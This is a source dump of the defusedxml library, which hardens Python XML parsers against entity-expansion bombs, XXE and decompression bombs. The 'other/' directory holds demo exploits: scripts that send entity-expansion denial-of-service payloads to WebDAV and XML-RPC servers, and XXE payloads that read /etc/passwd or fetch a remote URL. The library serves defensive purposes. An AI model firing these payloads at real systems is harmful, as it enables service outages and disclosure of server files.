from __future__ import print_function, absolute_import

import sys
import warnings
from xml.etree.ElementTree import ParseError
from xml.etree.ElementTree import TreeBuilder as _TreeBuilder
from xml.etree.ElementTree import parse as _parse
from xml.etree.ElementTree import tostring

import importlib


from .common import DTDForbidden, EntitiesForbidden, ExternalReferenceForbidden

__origin__ = "xml.etree.ElementTree"


def _get_py3_cls():
    """Python 3.3 hides the pure Python code but defusedxml requires it.

    The code is based on test.support.import_fresh_module().
    """
    pymodname = "xml.etree.ElementTree"
    cmodname = "_elementtree"

    pymod = sys.modules.pop(pymodname, None)
    cmod = sys.modules.pop(cmodname, None)

    sys.modules[cmodname] = None
    try:
        pure_pymod = importlib.import_module(pymodname)
    finally:
        # restore module
        sys.modules[pymodname] = pymod
        if cmod is not None:
            sys.modules[cmodname] = cmod
        else:
            sys.modules.pop(cmodname, None)
        # restore attribute on original package
        etree_pkg = sys.modules["xml.etree"]
        if pymod is not None:
            etree_pkg.ElementTree = pymod
        elif hasattr(etree_pkg, "ElementTree"):
            del etree_pkg.ElementTree

    _XMLParser = pure_pymod.XMLParser
    _iterparse = pure_pymod.iterparse
    # patch pure module to use ParseError from C extension
    pure_pymod.ParseError = ParseError

    return _XMLParser, _iterparse


_XMLParser, _iterparse = _get_py3_cls()

_sentinel = object()


class DefusedXMLParser(_XMLParser):
    def __init__(
        self,
        html=_sentinel,
        target=None,
        encoding=None,
        forbid_dtd=False,
        forbid_entities=True,
        forbid_external=True,
    ):
        super().__init__(target=target, encoding=encoding)
        if html is not _sentinel:
            # the 'html' argument has been deprecated and ignored in all
            # supported versions of Python. Python 3.8 finally removed it.
            if html:
                raise TypeError("'html=True' is no longer supported.")
            else:
                warnings.warn(
                    "'html' keyword argument is no longer supported. Pass "
                    "in arguments as keyword arguments.",
                    category=DeprecationWarning,
                )

        self.forbid_dtd = forbid_dtd
        self.forbid_entities = forbid_entities
        self.forbid_external = forbid_external
        parser = self.parser
        if self.forbid_dtd:
            parser.StartDoctypeDeclHandler = self.defused_start_doctype_decl
        if self.forbid_entities:
            parser.EntityDeclHandler = self.defused_entity_decl
            parser.UnparsedEntityDeclHandler = self.defused_unparsed_entity_decl
        if self.forbid_external:
            parser.ExternalEntityRefHandler = self.defused_external_entity_ref_handler

    def defused_start_doctype_decl(self, name, sysid, pubid, has_internal_subset):
        raise DTDForbidden(name, sysid, pubid)

    def defused_entity_decl(
        self, name, is_parameter_entity, value, base, sysid, pubid, notation_name
    ):
        raise EntitiesForbidden(name, value, base, sysid, pubid, notation_name)

    def defused_unparsed_entity_decl(self, name, base, sysid, pubid, notation_name):
        # expat 1.2
        raise EntitiesForbidden(name, None, base, sysid, pubid, notation_name)  # pragma: no cover

    def defused_external_entity_ref_handler(self, context, base, sysid, pubid):
        raise ExternalReferenceForbidden(context, base, sysid, pubid)


# aliases
# XMLParse is a typo, keep it for backwards compatibility
XMLTreeBuilder = XMLParse = XMLParser = DefusedXMLParser


def parse(source, parser=None, forbid_dtd=False, forbid_entities=True, forbid_external=True):
    if parser is None:
        parser = DefusedXMLParser(
            target=_TreeBuilder(),
            forbid_dtd=forbid_dtd,
            forbid_entities=forbid_entities,
            forbid_external=forbid_external,
        )
    return _parse(source, parser)


def iterparse(
    source,
    events=None,
    parser=None,
    forbid_dtd=False,
    forbid_entities=True,
    forbid_external=True,
):
    if parser is None:
        parser = DefusedXMLParser(
            target=_TreeBuilder(),
            forbid_dtd=forbid_dtd,
            forbid_entities=forbid_entities,
            forbid_external=forbid_external,
        )
    return _iterparse(source, events, parser)


def fromstring(text, forbid_dtd=False, forbid_entities=True, forbid_external=True):
    parser = DefusedXMLParser(
        target=_TreeBuilder(),
        forbid_dtd=forbid_dtd,
        forbid_entities=forbid_entities,
        forbid_external=forbid_external,
    )
    parser.feed(text)
    return parser.close()


XML = fromstring


def fromstringlist(sequence, forbid_dtd=False, forbid_entities=True, forbid_external=True):
    parser = DefusedXMLParser(
        target=_TreeBuilder(),
        forbid_dtd=forbid_dtd,
        forbid_entities=forbid_entities,
        forbid_external=forbid_external,
    )
    for text in sequence:
        parser.feed(text)
    return parser.close()


__all__ = [
    "ParseError",
    "XML",
    "XMLParse",
    "XMLParser",
    "XMLTreeBuilder",
    "fromstring",
    "fromstringlist",
    "iterparse",
    "parse",
    "tostring",
]


================================================
FILE: defusedxml/__init__.py
================================================
# defusedxml
#
# Copyright (c) 2013 by Christian Heimes <christian@python.org>
# Licensed to PSF under a Contributor Agreement.
# See https://www.python.org/psf/license for licensing details.
"""Defuse XML bomb denial of service vulnerabilities
"""
from __future__ import print_function, absolute_import

import warnings

from .common import (
    DefusedXmlException,
    DTDForbidden,
    EntitiesForbidden,
    ExternalReferenceForbidden,
    NotSupportedError,
    _apply_defusing,
)


def defuse_stdlib():
    """Monkey patch and defuse all stdlib packages

    :warning: The monkey patch is an EXPERIMENTAL feature.
    """
    defused = {}

    with warnings.catch_warnings():
        warnings.filterwarnings("ignore", category=DeprecationWarning, module="defusedxml")
        from . import cElementTree
    from . import ElementTree
    from . import minidom
    from . import pulldom
    from . import sax
    from . import expatbuilder
    from . import expatreader
    from . import xmlrpc

    xmlrpc.monkey_patch()
    defused[xmlrpc] = None

    defused_mods = [
        cElementTree,
        ElementTree,
        minidom,
        pulldom,
        sax,
        expatbuilder,
        expatreader,
    ]

    for defused_mod in defused_mods:
        stdlib_mod = _apply_defusing(defused_mod)
        defused[defused_mod] = stdlib_mod

    return defused


__version__ = "0.8.0rc2"

__all__ = [
    "DefusedXmlException",
    "DTDForbidden",
    "EntitiesForbidden",
    "ExternalReferenceForbidden",
    "NotSupportedError",
]


================================================
FILE: defusedxml/cElementTree.py
================================================
# defusedxml
#
# Copyright (c) 2013 by Christian Heimes <christian@python.org>
# Licensed to PSF under a Contributor Agreement.
# See https://www.python.org/psf/license for licensing details.
"""Defused xml.etree.cElementTree
"""
import warnings

# This module is an alias for ElementTree just like xml.etree.cElementTree
from .ElementTree import (
    XML,
    XMLParse,
    XMLParser,
    XMLTreeBuilder,
    fromstring,
    fromstringlist,
    iterparse,
    parse,
    tostring,
    DefusedXMLParser,
    ParseError,
)

__origin__ = "xml.etree.cElementTree"


warnings.warn(
    "defusedxml.cElementTree is deprecated, import from defusedxml.ElementTree instead.",
    category=DeprecationWarning,
    stacklevel=2,
)

__all__ = [
    "ParseError",
    "XML",
    "XMLParse",
    "XMLParser",
    "XMLTreeBuilder",
    "fromstring",
    "fromstringlist",
    "iterparse",
    "parse",
    "tostring",
    # backwards compatibility
    "DefusedXMLParser",
]


================================================
FILE: defusedxml/common.py
================================================
# defusedxml
#
# Copyright (c) 2013-2020 by Christian Heimes <christian@python.org>
# Licensed to PSF under a Contributor Agreement.
# See https://www.python.org/psf/license for licensing details.
"""Common constants, exceptions and helper functions
"""
import sys
import xml.parsers.expat

PY3 = True

# Fail early when pyexpat is not installed correctly
if not hasattr(xml.parsers.expat, "ParserCreate"):
    raise ImportError("pyexpat")  # pragma: no cover


class DefusedXmlException(ValueError):
    """Base exception"""

    def __repr__(self):
        return str(self)


class DTDForbidden(DefusedXmlException):
    """Document type definition is forbidden"""

    def __init__(self, name, sysid, pubid):
        super().__init__()
        self.name = name
        self.sysid = sysid
        self.pubid = pubid

    def __str__(self):
        tpl = "DTDForbidden(name='{}', system_id={!r}, public_id={!r})"
        return tpl.format(self.name, self.sysid, self.pubid)


class EntitiesForbidden(DefusedXmlException):
    """Entity definition is forbidden"""

    def __init__(self, name, value, base, sysid, pubid, notation_name):
        super().__init__()
        self.name = name
        self.value = value
        self.base = base
        self.sysid = sysid
        self.pubid = pubid
        self.notation_name = notation_name

    def __str__(self):
        tpl = "EntitiesForbidden(name='{}', system_id={!r}, public_id={!r})"
        return tpl.format(self.name, self.sysid, self.pubid)


class ExternalReferenceForbidden(DefusedXmlException):
    """Resolving an external reference is forbidden"""

    def __init__(self, context, base, sysid, pubid):
        super().__init__()
        self.context = context
        self.base = base
        self.sysid = sysid
        self.pubid = pubid

    def __str__(self):
        tpl = "ExternalReferenceForbidden(system_id='{}', public_id={})"
        return tpl.format(self.sysid, self.pubid)


class NotSupportedError(DefusedXmlException):
    """The operation is not supported"""


def _apply_defusing(defused_mod):
    assert defused_mod is sys.modules[defused_mod.__name__]
    stdlib_name = defused_mod.__origin__
    __import__(stdlib_name, {}, {}, ["*"])
    stdlib_mod = sys.modules[stdlib_name]
    stdlib_names = set(dir(stdlib_mod))
    for name, obj in vars(defused_mod).items():
        if name.startswith("_") or name not in stdlib_names:
            continue
        setattr(stdlib_mod, name, obj)
    return stdlib_mod


================================================
FILE: defusedxml/expatbuilder.py
================================================
# defusedxml
#
# Copyright (c) 2013 by Christian Heimes <christian@python.org>
# Licensed to PSF under a Contributor Agreement.
# See https://www.python.org/psf/license for licensing details.
"""Defused xml.dom.expatbuilder
"""
from __future__ import print_function, absolute_import

from xml.dom.expatbuilder import ExpatBuilder as _ExpatBuilder
from xml.dom.expatbuilder import Namespaces as _Namespaces

from .common import DTDForbidden, EntitiesForbidden, ExternalReferenceForbidden

__origin__ = "xml.dom.expatbuilder"


class DefusedExpatBuilder(_ExpatBuilder):
    """Defused document builder"""

    def __init__(
        self, options=None, forbid_dtd=False, forbid_entities=True, forbid_external=True
    ):
        _ExpatBuilder.__init__(self, options)
        self.forbid_dtd = forbid_dtd
        self.forbid_entities = forbid_entities
        self.forbid_external = forbid_external

    def defused_start_doctype_decl(self, name, sysid, pubid, has_internal_subset):
        raise DTDForbidden(name, sysid, pubid)

    def defused_entity_decl(
        self, name, is_parameter_entity, value, base, sysid, pubid, notation_name
    ):
        raise EntitiesForbidden(name, value, base, sysid, pubid, notation_name)

    def defused_unparsed_entity_decl(self, name, base, sysid, pubid, notation_name):
        # expat 1.2
        raise EntitiesForbidden(name, None, base, sysid, pubid, notation_name)  # pragma: no cover

    def defused_external_entity_ref_handler(self, context, base, sysid, pubid):
        raise ExternalReferenceForbidden(context, base, sysid, pubid)

    def install(self, parser):
        _ExpatBuilder.install(self, parser)

        if self.forbid_dtd:
            parser.StartDoctypeDeclHandler = self.defused_start_doctype_decl
        if self.forbid_entities:
            # if self._options.entities:
            parser.EntityDeclHandler = self.defused_entity_decl
            parser.UnparsedEntityDeclHandler = self.defused_unparsed_entity_decl
        if self.forbid_external:
            parser.ExternalEntityRefHandler = self.defused_external_entity_ref_handler


class DefusedExpatBuilderNS(_Namespaces, DefusedExpatBuilder):
    """Defused document builder that supports namespaces."""

    def install(self, parser):
        DefusedExpatBuilder.install(self, parser)
        if self._options.namespace_declarations:
            parser.StartNamespaceDeclHandler = self.start_namespace_decl_handler

    def reset(self):
        DefusedExpatBuilder.reset(self)
        self._initNamespaces()


def parse(file, namespaces=True, forbid_dtd=False, forbid_entities=True, forbid_external=True):
    """Parse a document, returning the resulting Document node.

    'file' may be either a file name or an open file object.
    """
    if namespaces:
        build_builder = DefusedExpatBuilderNS
    else:
        build_builder = DefusedExpatBuilder
    builder = build_builder(
        forbid_dtd=forbid_dtd, forbid_entities=forbid_entities, forbid_external=forbid_external
    )

    if isinstance(file, str):
        fp = open(file, "rb")
        try:
            result = builder.parseFile(fp)
        finally:
            fp.close()
    else:
        result = builder.parseFile(file)
    return result


def parseString(
    string, namespaces=True, forbid_dtd=False, forbid_entities=True, forbid_external=True
):
    """Parse a document from a string, returning the resulting
    Document node.
    """
    if namespaces:
        build_builder = DefusedExpatBuilderNS
    else:
        build_builder = DefusedExpatBuilder
    builder = build_builder(
        forbid_dtd=forbid_dtd, forbid_entities=forbid_entities, forbid_external=forbid_external
    )
    return builder.parseString(string)


================================================
FILE: defusedxml/expatreader.py
================================================
# defusedxml
#
# Copyright (c) 2013 by Christian Heimes <christian@python.org>
# Licensed to PSF under a Contributor Agreement.
# See https://www.python.org/psf/license for licensing details.
"""Defused xml.sax.expatreader
"""
from __future__ import print_function, absolute_import

from xml.sax.expatreader import ExpatParser as _ExpatParser

from .common import DTDForbidden, EntitiesForbidden, ExternalReferenceForbidden

__origin__ = "xml.sax.expatreader"


class DefusedExpatParser(_ExpatParser):
    """Defused SAX driver for the pyexpat C module."""

    def __init__(
        self,
        namespaceHandling=0,
        bufsize=2**16 - 20,
        forbid_dtd=False,
        forbid_entities=True,
        forbid_external=True,
    ):
        super().__init__(namespaceHandling, bufsize)
        self.forbid_dtd = forbid_dtd
        self.forbid_entities = forbid_entities
        self.forbid_external = forbid_external

    def defused_start_doctype_decl(self, name, sysid, pubid, has_internal_subset):
        raise DTDForbidden(name, sysid, pubid)

    def defused_entity_decl(
        self, name, is_parameter_entity, value, base, sysid, pubid, notation_name
    ):
        raise EntitiesForbidden(name, value, base, sysid, pubid, notation_name)

    def defused_unparsed_entity_decl(self, name, base, sysid, pubid, notation_name):
        # expat 1.2
        raise EntitiesForbidden(name, None, base, sysid, pubid, notation_name)  # pragma: no cover

    def defused_external_entity_ref_handler(self, context, base, sysid, pubid):
        raise ExternalReferenceForbidden(context, base, sysid, pubid)

    def reset(self):
        super().reset()
        parser = self._parser
        if self.forbid_dtd:
            parser.StartDoctypeDeclHandler = self.defused_start_doctype_decl
        if self.forbid_entities:
            parser.EntityDeclHandler = self.defused_entity_decl
            parser.UnparsedEntityDeclHandler = self.defused_unparsed_entity_decl
        if self.forbid_external:
            parser.ExternalEntityRefHandler = self.defused_external_entity_ref_handler


def create_parser(*args, **kwargs):
    return DefusedExpatParser(*args, **kwargs)


================================================
FILE: defusedxml/lxml.py
================================================
# defusedxml
#
# Copyright (c) 2013 by Christian Heimes <christian@python.org>
# Licensed to PSF under a Contributor Agreement.
# See https://www.python.org/psf/license for licensing details.
"""DEPRECATED Example code for lxml.etree protection

The code has NO protection against decompression bombs.
"""
from __future__ import print_function, absolute_import

import threading
import warnings

from lxml import etree as _etree

from .common import DTDForbidden, EntitiesForbidden, NotSupportedError

LXML3 = _etree.LXML_VERSION[0] >= 3

__origin__ = "lxml.etree"

tostring = _etree.tostring


warnings.warn(
    "defusedxml.lxml is no longer supported and will be removed in a future release.",
    category=DeprecationWarning,
    stacklevel=2,
)


class RestrictedElement(_etree.ElementBase):
    """A restricted Element class that filters out instances of some classes"""

    __slots__ = ()
    # blacklist = (etree._Entity, etree._ProcessingInstruction, etree._Comment)
    blacklist = _etree._Entity

    def _filter(self, iterator):
        blacklist = self.blacklist
        for child in iterator:
            if isinstance(child, blacklist):
                continue
            yield child

    def __iter__(self):
        iterator = super(RestrictedElement, self).__iter__()
        return self._filter(iterator)

    def iterchildren(self, tag=None, reversed=False):
        iterator = super(RestrictedElement, self).iterchildren(tag=tag, reversed=reversed)
        return self._filter(iterator)

    def iter(self, tag=None, *tags):
        iterator = super(RestrictedElement, self).iter(tag=tag, *tags)
        return self._filter(iterator)

    def iterdescendants(self, tag=None, *tags):
        iterator = super(RestrictedElement, self).iterdescendants(tag=tag, *tags)
        return self._filter(iterator)

    def itersiblings(self, tag=None, preceding=False):
        iterator = super(RestrictedElement, self).itersiblings(tag=tag, preceding=preceding)
        return self._filter(iterator)

    def getchildren(self):
        iterator = super(RestrictedElement, self).__iter__()
        return list(self._filter(iterator))

    def getiterator(self, tag=None):
        iterator = super(RestrictedElement, self).getiterator(tag)
        return self._filter(iterator)


class GlobalParserTLS(threading.local):
    """Thread local context for custom parser instances"""

    parser_config = {
        "resolve_entities": False,
        # 'remove_comments': True,
        # 'remove_pis': True,
    }

    element_class = RestrictedElement

    def createDefaultParser(self):
        parser = _etree.XMLParser(**self.parser_config)
        element_class = self.element_class
        if self.element_class is not None:
            lookup = _etree.ElementDefaultClassLookup(element=element_class)
            parser.set_element_class_lookup(lookup)
        return parser

    def setDefaultParser(self, parser):
        self._default_parser = parser

    def getDefaultParser(self):
        parser = getattr(self, "_default_parser", None)
        if parser is None:
            parser = self.createDefaultParser()
            self.setDefaultParser(parser)
        return parser


_parser_tls = GlobalParserTLS()
getDefaultParser = _parser_tls.getDefaultParser


def check_docinfo(elementtree, forbid_dtd=False, forbid_entities=True):
    """Check docinfo of an element tree for DTD and entity declarations

    The check for entity declarations needs lxml 3 or newer. lxml 2.x does
    not support dtd.iterentities().
    """
    docinfo = elementtree.docinfo
    if docinfo.doctype:
        if forbid_dtd:
            raise DTDForbidden(docinfo.doctype, docinfo.system_url, docinfo.public_id)
        if forbid_entities and not LXML3:
            # lxml < 3 has no iterentities()
            raise NotSupportedError("Unable to check for entity declarations " "in lxml 2.x")

    if forbid_entities:
        for dtd in docinfo.internalDTD, docinfo.externalDTD:
            if dtd is None:
                continue
            for entity in dtd.iterentities():
                raise EntitiesForbidden(entity.name, entity.content, None, None, None, None)


def parse(source, parser=None, base_url=None, forbid_dtd=False, forbid_entities=True):
    if parser is None:
        parser = getDefaultParser()
    elementtree = _etree.parse(source, parser, base_url=base_url)
    check_docinfo(elementtree, forbid_dtd, forbid_entities)
    return elementtree


def fromstring(text, parser=None, base_url=None, forbid_dtd=False, forbid_entities=True):
    if parser is None:
        parser = getDefaultParser()
    rootelement = _etree.fromstring(text, parser, base_url=base_url)
    elementtree = rootelement.getroottree()
    check_docinfo(elementtree, forbid_dtd, forbid_entities)
    return rootelement


XML = fromstring


def iterparse(*args, **kwargs):
    raise NotSupportedError("defused lxml.etree.iterparse not available")


================================================
FILE: defusedxml/minidom.py
================================================
# defusedxml
#
# Copyright (c) 2013 by Christian Heimes <christian@python.org>
# Licensed to PSF under a Contributor Agreement.
# See https://www.python.org/psf/license for licensing details.
"""Defused xml.dom.minidom
"""
from __future__ import print_function, absolute_import

from xml.dom.minidom import _do_pulldom_parse
from . import expatbuilder as _expatbuilder
from . import pulldom as _pulldom

__origin__ = "xml.dom.minidom"


def parse(
    file, parser=None, bufsize=None, forbid_dtd=False, forbid_entities=True, forbid_external=True
):
    """Parse a file into a DOM by filename or file object."""
    if parser is None and not bufsize:
        return _expatbuilder.parse(
            file,
            forbid_dtd=forbid_dtd,
            forbid_entities=forbid_entities,
            forbid_external=forbid_external,
        )
    else:
        return _do_pulldom_parse(
            _pulldom.parse,
            (file,),
            {
                "parser": parser,
                "bufsize": bufsize,
                "forbid_dtd": forbid_dtd,
                "forbid_entities": forbid_entities,
                "forbid_external": forbid_external,
            },
        )


def parseString(
    string, parser=None, forbid_dtd=False, forbid_entities=True, forbid_external=True
):
    """Parse a file into a DOM from a string."""
    if parser is None:
        return _expatbuilder.parseString(
            string,
            forbid_dtd=forbid_dtd,
            forbid_entities=forbid_entities,
            forbid_external=forbid_external,
        )
    else:
        return _do_pulldom_parse(
            _pulldom.parseString,
            (string,),
            {
                "parser": parser,
                "forbid_dtd": forbid_dtd,
                "forbid_entities": forbid_entities,
                "forbid_external": forbid_external,
            },
        )


================================================
FILE: defusedxml/pulldom.py
================================================
# defusedxml
#
# Copyright (c) 2013 by Christian Heimes <christian@python.org>
# Licensed to PSF under a Contributor Agreement.
# See https://www.python.org/psf/license for licensing details.
"""Defused xml.dom.pulldom
"""
from __future__ import print_function, absolute_import

from xml.dom.pulldom import parse as _parse
from xml.dom.pulldom import parseString as _parseString
from .sax import make_parser

__origin__ = "xml.dom.pulldom"


def parse(
    stream_or_string,
    parser=None,
    bufsize=None,
    forbid_dtd=False,
    forbid_entities=True,
    forbid_external=True,
):
    if parser is None:
        parser = make_parser()
        parser.forbid_dtd = forbid_dtd
        parser.forbid_entities = forbid_entities
        parser.forbid_external = forbid_external
    return _parse(stream_or_string, parser, bufsize)


def parseString(
    string, parser=None, forbid_dtd=False, forbid_entities=True, forbid_external=True
):
    if parser is None:
        parser = make_parser()
        parser.forbid_dtd = forbid_dtd
        parser.forbid_entities = forbid_entities
        parser.forbid_external = forbid_external
    return _parseString(string, parser)


================================================
FILE: defusedxml/sax.py
================================================
# defusedxml
#
# Copyright (c) 2013 by Christian Heimes <christian@python.org>
# Licensed to PSF under a Contributor Agreement.
# See https://www.python.org/psf/license for licensing details.
"""Defused xml.sax
"""
from __future__ import print_function, absolute_import

from xml.sax import InputSource as _InputSource
from xml.sax import ErrorHandler as _ErrorHandler

from . import expatreader

__origin__ = "xml.sax"


def parse(
    source,
    handler,
    errorHandler=_ErrorHandler(),
    forbid_dtd=False,
    forbid_entities=True,
    forbid_external=True,
):
    parser = make_parser()
    parser.setContentHandler(handler)
    parser.setErrorHandler(errorHandler)
    parser.forbid_dtd = forbid_dtd
    parser.forbid_entities = forbid_entities
    parser.forbid_external = forbid_external
    parser.parse(source)


def parseString(
    string,
    handler,
    errorHandler=_ErrorHandler(),
    forbid_dtd=False,
    forbid_entities=True,
    forbid_external=True,
):
    from io import BytesIO

    if errorHandler is None:
        errorHandler = _ErrorHandler()
    parser = make_parser()
    parser.setContentHandler(handler)
    parser.setErrorHandler(errorHandler)
    parser.forbid_dtd = forbid_dtd
    parser.forbid_entities = forbid_entities
    parser.forbid_external = forbid_external

    inpsrc = _InputSource()
    inpsrc.setByteStream(BytesIO(string))
    parser.parse(inpsrc)


def make_parser(parser_list=[]):
    return expatreader.create_parser()


================================================
FILE: defusedxml/xmlrpc.py
================================================
# defusedxml
#
# Copyright (c) 2013 by Christian Heimes <christian@python.org>
# Licensed to PSF under a Contributor Agreement.
# See https://www.python.org/psf/license for licensing details.
"""Defused xmlrpclib

Also defuses gzip bomb
"""
from __future__ import print_function, absolute_import

import io

from .common import DTDForbidden, EntitiesForbidden, ExternalReferenceForbidden

__origin__ = "xmlrpc.client"
from xmlrpc.client import ExpatParser
from xmlrpc import client as xmlrpc_client
from xmlrpc import server as xmlrpc_server
from xmlrpc.client import gzip_decode as _orig_gzip_decode
from xmlrpc.client import GzipDecodedResponse as _OrigGzipDecodedResponse

try:
    import gzip
except ImportError:  # pragma: no cover
    gzip = None


# Limit maximum request size to prevent resource exhaustion DoS
# Also used to limit maximum amount of gzip decoded data in order to prevent
# decompression bombs
# A value of -1 or smaller disables the limit
MAX_DATA = 30 * 1024 * 1024  # 30 MB


def defused_gzip_decode(data, limit=None):
    """gzip encoded data -> unencoded data

    Decode data using the gzip content encoding as described in RFC 1952
    """
    if not gzip:  # pragma: no cover
        raise NotImplementedError
    if limit is None:
        limit = MAX_DATA
    f = io.BytesIO(data)
    gzf = gzip.GzipFile(mode="rb", fileobj=f)
    try:
        if limit < 0:  # no limit
            decoded = gzf.read()
        else:
            decoded = gzf.read(limit + 1)
    except IOError:  # pragma: no cover
        raise ValueError("invalid data")
    f.close()
    gzf.close()
    if limit >= 0 and len(decoded) > limit:
        raise ValueError("max gzipped payload length exceeded")
    return decoded


class DefusedGzipDecodedResponse(gzip.GzipFile if gzip else object):
    """a file-like object to decode a response encoded with the gzip
    method, as described in RFC 1952.
    """

    def __init__(self, response, limit=None):
        # response doesn't support tell() and read(), required by
        # GzipFile
        if not gzip:  # pragma: no cover
            raise NotImplementedError
        self.limit = limit = limit if limit is not None else MAX_DATA
        if limit < 0:  # no limit
            data = response.read()
            self.readlength = None
        else:
            data = response.read(limit + 1)
            self.readlength = 0
        if limit >= 0 and len(data) > limit:
            raise ValueError("max payload length exceeded")
        self.stringio = io.BytesIO(data)
        super().__init__(mode="rb", fileobj=self.stringio)

    def read(self, n):
        if self.limit >= 0:
            left = self.limit - self.readlength
            n = min(n, left + 1)
            data = gzip.GzipFile.read(self, n)
            self.readlength += len(data)
            if self.readlength > self.limit:
                raise ValueError("max payload length exceeded")
            return data
        else:
            return super().read(n)

    def close(self):
        super().close()
        self.stringio.close()


class DefusedExpatParser(ExpatParser):
    def __init__(self, target, forbid_dtd=False, forbid_entities=True, forbid_external=True):
        super().__init__(target)
        self.forbid_dtd = forbid_dtd
        self.forbid_entities = forbid_entities
        self.forbid_external = forbid_external
        parser = self._parser
        if self.forbid_dtd:
            parser.StartDoctypeDeclHandler = self.defused_start_doctype_decl
        if self.forbid_entities:
            parser.EntityDeclHandler = self.defused_entity_decl
            parser.UnparsedEntityDeclHandler = self.defused_unparsed_entity_decl
        if self.forbid_external:
            parser.ExternalEntityRefHandler = self.defused_external_entity_ref_handler

    def defused_start_doctype_decl(self, name, sysid, pubid, has_internal_subset):
        raise DTDForbidden(name, sysid, pubid)

    def defused_entity_decl(
        self, name, is_parameter_entity, value, base, sysid, pubid, notation_name
    ):
        raise EntitiesForbidden(name, value, base, sysid, pubid, notation_name)

    def defused_unparsed_entity_decl(self, name, base, sysid, pubid, notation_name):
        # expat 1.2
        raise EntitiesForbidden(name, None, base, sysid, pubid, notation_name)  # pragma: no cover

    def defused_external_entity_ref_handler(self, context, base, sysid, pubid):
        raise ExternalReferenceForbidden(context, base, sysid, pubid)


def monkey_patch():
    xmlrpc_client.FastParser = DefusedExpatParser
    xmlrpc_client.GzipDecodedResponse = DefusedGzipDecodedResponse
    xmlrpc_client.gzip_decode = defused_gzip_decode
    if xmlrpc_server:
        xmlrpc_server.gzip_decode = defused_gzip_decode


def unmonkey_patch():
    xmlrpc_client.FastParser = None
    xmlrpc_client.GzipDecodedResponse = _OrigGzipDecodedResponse
    xmlrpc_client.gzip_decode = _orig_gzip_decode
    if xmlrpc_server:
        xmlrpc_server.gzip_decode = _orig_gzip_decode


================================================
FILE: other/README.txt
================================================
This directory contains test and demo scripts for other frameworks and
languages. I used them to examine the characteristics of XML parsers.



================================================
FILE: other/exploit_webdav.py
================================================
#!/usr/bin/python
"""Demo exploit for WebDAV DoS attack

Author: Christian Heimes
"""
from __future__ import print_function

import sys
import base64
import urlparse
import httplib

if len(sys.argv) != 2:
    sys.exit("{} http://user:password@host:port/".format(sys.argv[0]))

url = urlparse.urlparse(sys.argv[1])

xml = """<?xml version='1.0'?>
<!DOCTYPE bomb [
<!ENTITY a "VALUE">
]>
 <propfind xmlns="DAV:">
   <prop>QUAD
    <supported-live-property-set/>
    <supported-method-set/>
    </prop>
</propfind>
"""

xml = xml.replace("VALUE", "a" * 30000)
xml = xml.replace("QUAD", "&a;" * 1000)

headers = {"Content-Type": "text/xml", "Content-Length": len(xml), "Depth": 1}

if url.username:
    auth = base64.b64encode(":".join((url.username, url.password)))
    headers["Authorization"] = "Basic %s" % auth

con = httplib.HTTPConnection(url.hostname, int(url.port))
con.request("PROPFIND", url.path, body=xml, headers=headers)
res = con.getresponse()
print(res.read())


================================================
FILE: other/exploit_xmlrpc.py
================================================
#!/usr/bin/python
"""Demo exploit for XML-RPC DoS attack

Author: Christian Heimes
"""
from __future__ import print_function

import sys
import urllib2

if len(sys.argv) != 2:
    sys.exit("{} url".format(sys.argv[0]))

url = sys.argv[1]

xml = """<?xml version='1.0'?>
<!DOCTYPE bomb [
<!ENTITY a "VALUE">
]>
<methodCall>
<methodName>system.methodSignature</methodName>
<params>
<param>
<value><string>QUAD</string></value>
</param>
</params>
</methodCall>
"""

xml = xml.replace("VALUE", "a" * 100000)
xml = xml.replace("QUAD", "&a;" * 1000)

headers = {"Content-Type": "text/xml", "Content-Length": len(xml)}

req = urllib2.Request(url, data=xml, headers=headers)

print("Sending request to {}".format(url))

resp = urllib2.urlopen(req)

print("Response")
print(resp.read())


================================================
FILE: other/perl.pl
================================================
#!/usr/bin/perl

use XML::Simple;
use Data::Dumper;

$parser = new XML::Simple;
$xml = $parser->XMLin("$ARGV[0]");
$data = Dumper($xml);
print $data;


================================================
FILE: other/php.php
================================================
#!/usr/bin/php
<?php

// $options = 0;
// $options = LIBXML_NONET;
$options = LIBXML_NOENT;

/* LIBXML_NOENT doesn't have any effect but
   libxml_disable_entity_loader(true) works */

$xml = simplexml_load_file($argv[1], "SimpleXMLElement", $options);
$data = (string)$xml;
echo strlen($data);
echo $data;
?>



================================================
FILE: other/python_external.py
================================================
#!/usr/bin/python
"""Demo exploit for external entity expansion

Author: Christian Heimes
"""
from __future__ import print_function

from xml.sax import ContentHandler
from xml.sax import parseString

xml_good = """<weather>Aachen</weather>"""

xml_bad_file = """<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE weather [
<!ENTITY passwd SYSTEM "file:///etc/passwd">
]>
<weather>&passwd;</weather>
"""

xml_bad_url = """<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE weather [
<!ENTITY url SYSTEM "http://hg.python.org/cpython/raw-file/a11ddd687a0b/Lib/test/dh512.pem">
]>
<weather>&url;</weather>
"""


class WeatherHandler(ContentHandler):
    def __init__(self):
        ContentHandler.__init__(self)
        self.tag = "unseen"
        self.city = []

    def startElement(self, name, attrs):
        if name != "weather" or self.tag != "unseen":
            raise ValueError(name)
        self.tag = "processing"

    def endElement(self, name):
        self.tag = "seen"
        self.city = "".join(self.city)

    def characters(self, content):
        if self.tag == "processing":
            self.city.append(content)


def weatherResponse(xml):
    handler = WeatherHandler()
    parseString(xml, handler)
    if handler.city == "Aachen":
        return "<weather>The weather in %s is terrible.</weather" % handler.city
    else:
        return "<error>Unknown city %s</error>" % handler.city[:500]


for xml in (xml_good, xml_bad_file, xml_bad_url):
    print("\nREQUEST:\n--------")
    print(xml)
    print("\nRESPONSE:\n---------")
    print(weatherResponse(xml))
    print("")


================================================
FILE: other/python_genshi.py
================================================
#!/usr/bin/python
import sys
from pprint import pprint
from genshi.input import XMLParser

with open(sys.argv[1]) as f:
    parser = XMLParser(f)
    pprint(list(parser))


================================================
FILE: other/ruby-hpricot.rb
================================================
#!/usr/bin/ruby -w
require 'hpricot'

xml = File.read(ARGV[0])
doc = Hpricot(xml)
puts doc



================================================
FILE: other/ruby-libxml.rb
================================================
#!/usr/bin/ruby -w
require 'libxml'

include LibXML

class PostCallbacks
  include XML::SaxParser::Callbacks

  def on_start_element(element, attributes)
    puts element
  end
end

parser = XML::SaxParser.file(ARGV[0])
parser.callbacks = PostCallbacks.new
parser.parse



================================================
FILE: other/ruby-rexml.rb
================================================
#!/usr/bin/ruby -w
require "rexml/document"

xml = File.read(ARGV[0])
# REXML::Document.entity_expansion_limit = 1000
xmldoc = REXML::Document.new(xml)
data = xmldoc.root.text
